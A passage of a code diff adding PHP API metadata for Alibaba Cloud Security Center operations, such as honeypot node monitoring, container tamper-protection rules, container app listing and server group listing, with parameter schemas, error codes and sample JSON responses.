'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '管理节点ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc427e14-f257-4670-9d2b-d83bbbe7****', + ], + ], + [ + 'name' => 'Express', + 'in' => 'query', + 'schema' => [ + 'description' => '对查询出的现有结果进行实时计算的表达式。'."\n" + .'> 目前仅支持groupby（类似数据库groupby语句）。', + 'type' => 'string', + 'required' => false, + 'example' => '{"groupby":["userId","instanceId"]}', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间。支持的格式：'."\n" + .'- Unix时间戳：从1970年1月1日开始所经过的毫秒数。'."\n" + .'- Format格式：YYYY-MM-DDThh:mm:ssZ。'."\n" + .'- StartTime和EndTime之间的间隔小于等于31天。', + 'type' => 'string', + 'required' => false, + 'example' => '2019-01-30 00:00:00'."\n", + ], + ], + [ + 'name' => 'MetricName', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的监控项名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'cpu_total', + ], + ], + [ + 'name' => 'Period', + 'in' => 'query', + 'schema' => [ + 'description' => '时间间隔。单位：秒。取值：60、300、900。', + 'type' => 'string', + 'required' => false, + 'example' => '60', + ], + ], + [ + 'name' => 'Length', + 'in' => 'query', + 'schema' => [ + 'description' => '每页显示的记录条数，用于分页查询。'."\n" + ."\n" + .'> 单次请求Length的最大值为1440。', + 'type' => 'string', + 'required' => false, + 'example' => '100', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间。支持的格式：'."\n" + ."\n" + .'- Unix时间戳：从1970年1月1日开始所经过的毫秒数。'."\n" + .'- Format格式：YYYY-MM-DDThh:mm:ssZ。', + 'type' => 'string', + 'required' => false, + 'example' => '2019-01-30 00:10:00'."\n", + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的数据命名空间。命名方式：acs_云产品名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'acs_ecs_dashboard', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '监控数据。', + 'type' => 'string', + 'example' => '{'."\n" + .' "code": "200",'."\n" + .' "datapoints": "[{\\"timestamp\\":1698375060000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":67084.0,\\"Maximum\\":67084.0,\\"Average\\":67084.0},{\\"timestamp\\":1698375120000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":63704.0,\\"Maximum\\":63704.0,\\"Average\\":63704.0},{\\"timestamp\\":1698375180000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":67624.0,\\"Maximum\\":67624.0,\\"Average\\":67624.0},{\\"timestamp\\":1698375240000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":68432.0,\\"Maximum\\":68432.0,\\"Average\\":68432.0},{\\"timestamp\\":1698375300000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":70148.0,\\"Maximum\\":70148.0,\\"Average\\":70148.0},{\\"timestamp\\":1698375360000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":63612.0,\\"Maximum\\":63612.0,\\"Average\\":63612.0},{\\"timestamp\\":1698375420000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":68032.0,\\"Maximum\\":68032.0,\\"Average\\":68032.0},{\\"timestamp\\":1698375480000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":67400.0,\\"Maximum\\":67400.0,\\"Average\\":67400.0},{\\"timestamp\\":1698375540000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":65352.0,\\"Maximum\\":65352.0,\\"Average\\":65352.0}]",'."\n" + .' "period": "60",'."\n" + .' "requestId": "AFE33E4E-70A3-5BAE-AEA8-4D3BF3A75067",'."\n" + .' "success": true'."\n" + .'}', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '48F523DA-4C7E-5417-B872-E313E5A4****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'NodeNotExist', + 'errorMessage' => 'The control node does not exist.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"{\\\\n \\\\\\"code\\\\\\": \\\\\\"200\\\\\\",\\\\n \\\\\\"datapoints\\\\\\": \\\\\\"[{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375060000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":67084.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":67084.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":67084.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375120000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":63704.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":63704.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":63704.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375180000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":67624.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":67624.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":67624.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375240000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":68432.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":68432.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":68432.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375300000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":70148.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":70148.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":70148.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375360000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":63612.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":63612.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":63612.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375420000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":68032.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":68032.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":68032.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375480000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":67400.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":67400.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":67400.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375540000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":65352.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":65352.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":65352.0}]\\\\\\",\\\\n \\\\\\"period\\\\\\": \\\\\\"60\\\\\\",\\\\n \\\\\\"requestId\\\\\\": \\\\\\"AFE33E4E-70A3-5BAE-AEA8-4D3BF3A75067\\\\\\",\\\\n \\\\\\"success\\\\\\": true\\\\n}\\",\\n \\"RequestId\\": \\"48F523DA-4C7E-5417-B872-E313E5A4****\\"\\n}","type":"json"}]', + 'title' => '查询云蜜罐管理节点的监控数据', + ], + 'GetAegisContainerPluginRuleCriteria' => [ + 'summary' => '获取容器防篡改规则查询条件。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '152415', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '插件的匹配条件值。', + 'type' => 'string', + 'required' => false, + 'example' => 'ss', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'DA8133CC-CCA0-5CF2-BF64-FE7D52C44***', + ], + 'CriteriaList' => [ + 'description' => '支持检索项信息。', + 'type' => 'array', + 'items' => [ + 'description' => '授权条目的扫描结果列表。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '对应的查询条件的名称。'."\n" + ."\n" + .'- **instanceId**：容器实例ID。'."\n" + .'- **clusterId**：集群ID。'."\n" + .'- **regionId**：容器地域。'."\n" + .'- **clusterName**：集群名称。'."\n" + .'- **clusterType**：集群类型。'."\n" + .'- **hostIp**：公网IP。'."\n" + .'- **pod**：pod。'."\n" + .'- **podIp**：pod IP。'."\n" + .'- **containerId**：容器ID。'."\n" + .'- **containerScope**：容器类型。', + 'type' => 'string', + 'example' => 'containerScope', + ], + 'Values' => [ + 'description' => '值列表。', + 'type' => 'string', + 'example' => 'NO,YES', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DA8133CC-CCA0-5CF2-BF64-FE7D52C44***\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"containerScope\\",\\n \\"Values\\": \\"NO,YES\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取容器防逃逸查询条件', + ], + 'OperateApplication' => [ + 'summary' => '容器防篡改增加或者删除应用。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '300566', + ], + ], + [ + 'name' => 'ContainerWebDefenseApplicationDTOS', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '容器防篡改应用列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器防篡改应用。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'ceb68cc58234141828677e383bd21ff0c', + ], + 'Tag' => [ + 'description' => '应用标签值。', + 'type' => 'string', + 'required' => true, + 'example' => 'app:app-003', + ], + 'Flag' => [ + 'description' => '应用配置标识。取值：'."\n" + ."\n" + .'- **add**：对该资产生效。'."\n" + .'- **del**：不对该资产生效。', + 'type' => 'string', + 'required' => true, + 'example' => 'add', + ], + 'Id' => [ + 'description' => '应用唯一标识。新增不用填写。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '196', + ], + ], + 'required' => false, + ], + 'required' => true, + 'maxItems' => 10, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '79B067A4-54EB-5560-B5C8-425ABEDC2784', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79B067A4-54EB-5560-B5C8-425ABEDC2784\\"\\n}","type":"json"}]', + 'title' => '容器防篡改增加或者删除应用', + ], + 'GetSasContainerWebDefenseRuleCriteria' => [ + 'summary' => '获取容器防篡改规则查询条件。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '166839', + 'abilityTreeNodes' => [ + 'FEATUREsasA0IBMB', + ], + ], + 'parameters' => [ + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '指定查询条件的值，支持模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => '525', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'CriteriaList' => [ + 'description' => '查询的对象列表。', + 'type' => 'array', + 'items' => [ + 'description' => '支持检索项信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + .'- **input**：输入型。表示使用该查询条件进行查询时需要手动输入查询内容。'."\n" + .'- **select**：选择型。表示使用该查询条件进行查询时需要从选择项列表（即**Values**值）中选择。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '查询条件的名称。', + 'type' => 'string', + 'example' => 'name', + ], + 'Values' => [ + 'description' => '**Type**（查询条件的类型）为**select**（选择型）时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**（输入型）时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'athor_bid', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => '-100', + 'errorMessage' => 'The service is unavailable, please try again later.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"name\\",\\n \\"Values\\": \\"athor_bid\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取容器防篡改规则查询条件', + ], + 'DescribeContainerApps' => [ + 'summary' => '获取集群内的app列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '166814', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的应用值，支持模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => 'cas-adad-qeqwe', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '200', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'ca0a686115432429ca26cf780f5e9fff5', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + 'TagValues' => [ + 'description' => '标签值列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签值。', + 'type' => 'string', + 'example' => 'node-exporter'."\n", + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"TagValues\\": [\\n \\"node-exporter\\\\n\\"\\n ]\\n}","type":"json"}]', + 'title' => '获取集群的app列表', + ], + 'ListGroups' => [ + 'summary' => '获取用户的主机服务器分组列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '返回数据当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '89', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，最大2000。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否拥有下一次查询的令牌（Token）。如果NextToken为空表示没有下一次查询。如果NextToken有返回值，该取值表示下一次查询开始的令牌。', + 'type' => 'string', + 'required' => false, + 'example' => '1426C575705AE8545E8360A6EFA3B***', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式'."\n" + .'- **false**：不使用NextToken方式', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '分组列表。', + 'type' => 'array', + 'items' => [ + 'description' => '分组。', + 'type' => 'object', + 'properties' => [ + 'GroupId' => [ + 'description' => '服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11028542', + ], + 'GroupName' => [ + 'description' => '服务器分组名称。', + 'type' => 'string', + 'example' => 'cn-shenzhen+dir-1440978***', + ], + 'GroupFlag' => [ + 'description' => '服务器分组类型。取值：'."\n" + .'- **0**：默认分组'."\n" + .'- **1**：其他分组', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '202', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Success' => [ + 'description' => '异常事件处理的结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'CB414DB5-F692-5DAB-9F0F-975C060AF***', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"GroupId\\": 11028542,\\n \\"GroupName\\": \\"cn-shenzhen+dir-1440978***\\",\\n \\"GroupFlag\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 202,\\n \\"Count\\": 4,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CB414DB5-F692-5DAB-9F0F-975C060AF***\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取服务器分组列表', + ], + 'ListInstanceRiskNum' => [ + 'summary' => '获取实例的安全问题数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'InstanceList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '实例列表', + 'description' => '实例列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'title' => '实例SerialNumber', + 'description' => '实例UUID。您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', + ], + 'InstanceId' => [ + 'title' => '实例ID', + 'description' => '实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-wz9fdluqx20mp2x7****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 